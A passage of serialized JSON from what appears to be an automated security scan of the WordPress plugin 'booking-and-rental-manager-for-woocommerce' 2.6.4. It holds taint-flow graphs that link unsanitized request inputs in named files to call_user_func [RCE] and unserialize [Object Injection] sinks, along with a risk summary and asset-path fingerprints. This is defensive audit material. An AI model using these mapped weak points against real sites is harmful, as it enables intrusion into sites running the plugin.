(x3)",2578,{"id":1723,"type":1724,"label":1725,"file":602,"line":1840,"wp_function":1727},3345,{"id":1729,"type":1719,"label":1760,"file":602,"line":1838},{"id":1732,"type":1724,"label":1843,"file":602,"line":1844,"wp_function":1845},"call_user_func() [RCE]",3431,"call_user_func",[1847,1848],{"from":1718,"to":1723,"sanitized":815},{"from":1729,"to":1732,"sanitized":815},{"entryPoint":1850,"graph":1851,"unsanitizedCount":29,"severity":1778},"fetch_order_details_callback (inc\\rbfw_order_meta.php:15)",{"nodes":1852,"edges":1855},[1853,1854],{"id":1718,"type":1719,"label":1720,"file":721,"line":1405},{"id":1723,"type":1724,"label":1725,"file":721,"line":772,"wp_function":1727},[1856],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1858,"graph":1859,"unsanitizedCount":29,"severity":1778},"\u003Crbfw_order_meta> (inc\\rbfw_order_meta.php:0)",{"nodes":1860,"edges":1863},[1861,1862],{"id":1718,"type":1719,"label":1720,"file":721,"line":1405},{"id":1723,"type":1724,"label":1725,"file":721,"line":772,"wp_function":1727},[1864],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1866,"graph":1867,"unsanitizedCount":29,"severity":1778},"\u003Crbfw_shortcodes> (inc\\rbfw_shortcodes.php:0)",{"nodes":1868,"edges":1875},[1869,1870,1871,1874],{"id":1718,"type":1719,"label":1760,"file":904,"line":1761},{"id":1723,"type":1724,"label":1763,"file":904,"line":1764,"wp_function":1765},{"id":1729,"type":1719,"label":1872,"file":904,"line":1873},"$_GET (x2)",450,{"id":1732,"type":1724,"label":1725,"file":904,"line":1377,"wp_function":1727},[1876,1877],{"from":1718,"to":1723,"sanitized":815},{"from":1729,"to":1732,"sanitized":815},{"entryPoint":1879,"graph":1880,"unsanitizedCount":29,"severity":1778},"rbfw_plugin_install (inc\\woocommerce\\class-status.php:158)",{"nodes":1881,"edges":1884},[1882,1883],{"id":1718,"type":1719,"label":1760,"file":750,"line":1489},{"id":1723,"type":1724,"label":1725,"file":750,"line":1383,"wp_function":1727},[1885],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1887,"graph":1888,"unsanitizedCount":29,"severity":1778},"\u003Cclass-status> (inc\\woocommerce\\class-status.php:0)",{"nodes":1889,"edges":1892},[1890,1891],{"id":1718,"type":1719,"label":1760,"file":750,"line":1489},{"id":1723,"type":1724,"label":1725,"file":750,"line":1383,"wp_function":1727},[1893],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1895,"graph":1896,"unsanitizedCount":502,"severity":1778},"\u003Cmulti-day-registration> (templates\\forms\\multi-day-registration.php:0)",{"nodes":1897,"edges":1903},[1898,1899,1901,1902],{"id":1718,"type":1719,"label":1872,"file":937,"line":934},{"id":1723,"type":1724,"label":1725,"file":937,"line":1900,"wp_function":1727},419,{"id":1729,"type":1719,"label":1872,"file":937,"line":225},{"id":1732,"type":1724,"label":1725,"file":937,"line":1479,"wp_function":1727},[1904,1905],{"from":1718,"to":1723,"sanitized":815},{"from":1729,"to":1732,"sanitized":52},{"entryPoint":1907,"graph":1908,"unsanitizedCount":29,"severity":1778},"\u003Cmulti-items-registration> (templates\\forms\\multi-items-registration.php:0)",{"nodes":1909,"edges":1913},[1910,1911],{"id":1718,"type":1719,"label":1872,"file":941,"line":27},{"id":1723,"type":1724,"label":1725,"file":941,"line":1912,"wp_function":1727},235,[1914],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1916,"graph":1917,"unsanitizedCount":29,"severity":1778},"\u003Crbfw_timely_price_calculation> (templates\\template_segment\\rbfw_timely_price_calculation.php:0)",{"nodes":1918,"edges":1922},[1919,1921],{"id":1718,"type":1719,"label":1920,"file":1643,"line":49},"$_POST (x5)",{"id":1723,"type":1724,"label":1725,"file":1643,"line":383,"wp_function":1727},[1923],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1925,"graph":1926,"unsanitizedCount":29,"severity":1778},"\u003Cresort_info> (templates\\template_segment\\resort_info.php:0)",{"nodes":1927,"edges":1931},[1928,1930],{"id":1718,"type":1719,"label":1929,"file":1650,"line":732},"$_POST (x8)",{"id":1723,"type":1724,"label":1725,"file":1650,"line":359,"wp_function":1727},[1932],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1934,"graph":1935,"unsanitizedCount":29,"severity":1778},"\u003Csingle_day_info> (templates\\template_segment\\single_day_info.php:0)",{"nodes":1936,"edges":1940},[1937,1939],{"id":1718,"type":1719,"label":1938,"file":1675,"line":399},"$_POST (x9)",{"id":1723,"type":1724,"label":1725,"file":1675,"line":1290,"wp_function":1727},[1941],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1943,"graph":1944,"unsanitizedCount":29,"severity":1778},"\u003Ctimely_info> (templates\\template_segment\\timely_info.php:0)",{"nodes":1945,"edges":1949},[1946,1948],{"id":1718,"type":1719,"label":1947,"file":1698,"line":732},"$_POST (x11)",{"id":1723,"type":1724,"label":1725,"file":1698,"line":791,"wp_function":1727},[1950],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1952,"graph":1953,"unsanitizedCount":944,"severity":69},"settings_save (admin\\settings\\General_Info.php:351)",{"nodes":1954,"edges":1961},[1955,1957,1959],{"id":1718,"type":1719,"label":1720,"file":424,"line":1956},365,{"id":1723,"type":1733,"label":1958,"file":424,"line":1956},"→ rbfw_prepare_feature_category_meta_value()",{"id":1729,"type":1724,"label":1960,"file":533,"line":934,"wp_function":926},"unserialize() [Object Injection]",[1962,1963],{"from":1718,"to":1723,"sanitized":52},{"from":1723,"to":1729,"sanitized":52},{"entryPoint":1965,"graph":1966,"unsanitizedCount":944,"severity":69},"\u003CGeneral_Info> (admin\\settings\\General_Info.php:0)",{"nodes":1967,"edges":1971},[1968,1969,1970],{"id":1718,"type":1719,"label":1720,"file":424,"line":1956},{"id":1723,"type":1733,"label":1958,"file":424,"line":1956},{"id":1729,"type":1724,"label":1960,"file":533,"line":934,"wp_function":926},[1972,1973],{"from":1718,"to":1723,"sanitized":52},{"from":1723,"to":1729,"sanitized":52},{"summary":1975,"deductions":1976},"The 'booking-and-rental-manager-for-woocommerce' plugin version 2.6.4 presents a mixed security posture. While it demonstrates good practices such as a high percentage of properly escaped outputs and a significant number of nonce and capability checks, several concerning aspects warrant attention.  The presence of six AJAX handlers without authentication checks, coupled with two high-severity taint analysis flows, suggests potential avenues for unauthorized access and manipulation of data.  The historical vulnerability data, with 11 known CVEs including high and medium severity issues like Deserialization of Untrusted Data and Cross-Site Scripting, indicates a recurring pattern of weaknesses in code validation and input handling.  Although there are currently no unpatched vulnerabilities, the historical prevalence of these types of issues is a significant concern.\n\nDespite the strong implementation of output escaping and a good rate of prepared SQL statements, the unprotected AJAX endpoints and the high-severity taint flows are critical risks. The history of severe vulnerabilities like deserialization and RFI, even if currently patched, suggests a need for ongoing vigilance and thorough code auditing. The use of the `unserialize` function, while not explicitly flagged as a vulnerability in the static analysis, is inherently risky when handling untrusted data and is a known vector for deserialization vulnerabilities, as indicated by the vulnerability history.  The plugin has a substantial attack surface, and the lack of authorization on some entry points, combined with past security incidents, necessitates a cautious approach.",[1977,1979,1981,1983,1985],{"reason":1978,"points":289},"Unprotected AJAX handlers",{"reason":1980,"points":289},"High severity taint analysis flows",{"reason":1982,"points":732},"Dangerous function 'unserialize'",{"reason":1984,"points":372},"Large number of historical high severity CVEs",{"reason":1986,"points":53},"Bundled library Select2 (potential for outdated versions)","2026-03-16T19:00:05.506Z",{"wat":1989,"direct":2014},{"assetPaths":1990,"generatorPatterns":2001,"scriptPaths":2002,"versionParams":2003},[1991,1992,1993,1994,1995,1996,1997,1998,1999,2000],"\u002Fwp-content\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002Fassets\u002Fcss\u002Ffaq.css","\u002Fwp-content\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002Fassets\u002Fjs\u002Ffaq.js","\u002Fwp-content\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002Fassets\u002Fcss\u002Fsetup.css","\u002Fwp-content\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002Fassets\u002Fjs\u002Fsetup.js","\u002Fwp-content\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002Fassets\u002Fcss\u002Fsettings.css","\u002Fwp-content\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002Fassets\u002Fjs\u002Fsettings.js","\u002Fwp-content\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002Fassets\u002Fcss\u002Fbooking.css","\u002Fwp-content\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002Fassets\u002Fjs\u002Fbooking.js","\u002Fwp-content\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002Fassets\u002Fcss\u002Frbfw-admin.css","\u002Fwp-content\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002Fassets\u002Fjs\u002Frbfw-admin.js",[],[1992,1994,1996,1998,2000],[2004,2005,2006,2007,2008,2009,2010,2011,2012,2013],"booking-and-rental-manager-for-woocommerce\u002Fassets\u002Fcss\u002Ffaq.css?ver=","booking-and-rental-manager-for-woocommerce\u002Fassets\u002Fjs\u002Ffaq.js?ver=","booking-and-rental-manager-for-woocommerce\u002Fassets\u002Fcss\u002Fsetup.css?ver=","booking-and-rental-manager-for-woocommerce\u002Fassets\u002Fjs\u002Fsetup.js?ver=","booking-and-rental-manager-for-woocommerce\u002Fassets\u002Fcss\u002Fsettings.css?ver=","booking-and-rental-manager-for-woocommerce\u002Fassets\u002Fjs\u002Fsettings.js?ver=","booking-and-rental-manager-for-woocommerce\u002Fassets\u002Fcss\u002Fbooking.css?ver=","booking-and-rental-manager-for-woocommerce\u002Fassets\u002Fjs\u002Fbooking.js?ver=","booking-and-rental-manager-for-woocommerce\u002Fassets\u002Fcss\u002Frbfw-admin.css?ver=","booking-and-rental-manager-for-woocommerce\u002Fassets\u002Fjs\u002Frbfw-admin.js?ver=",{"cssClasses":2015,"htmlComments":2019,"htmlAttributes":2021,"restEndpoints":2024,"jsGlobals":2025,"shortcodeOutput":2026},[2016,2017,2018],"rbfw_single_default_template","rbfw_single_single_template","rbfw_plugin_pro_meta_link",[2020],"\u003C!-- this include file can't added inside class method due to fatal error. need to fix. -->",[2022,2023],"rbfw_duplicate","rbfw_single_template",[],[],[],{"error":815,"url":2028,"statusCode":2029,"statusMessage":2030,"message":2030},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fbooking-and-rental-manager-for-woocommerce\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":29,"versions":2032},[]]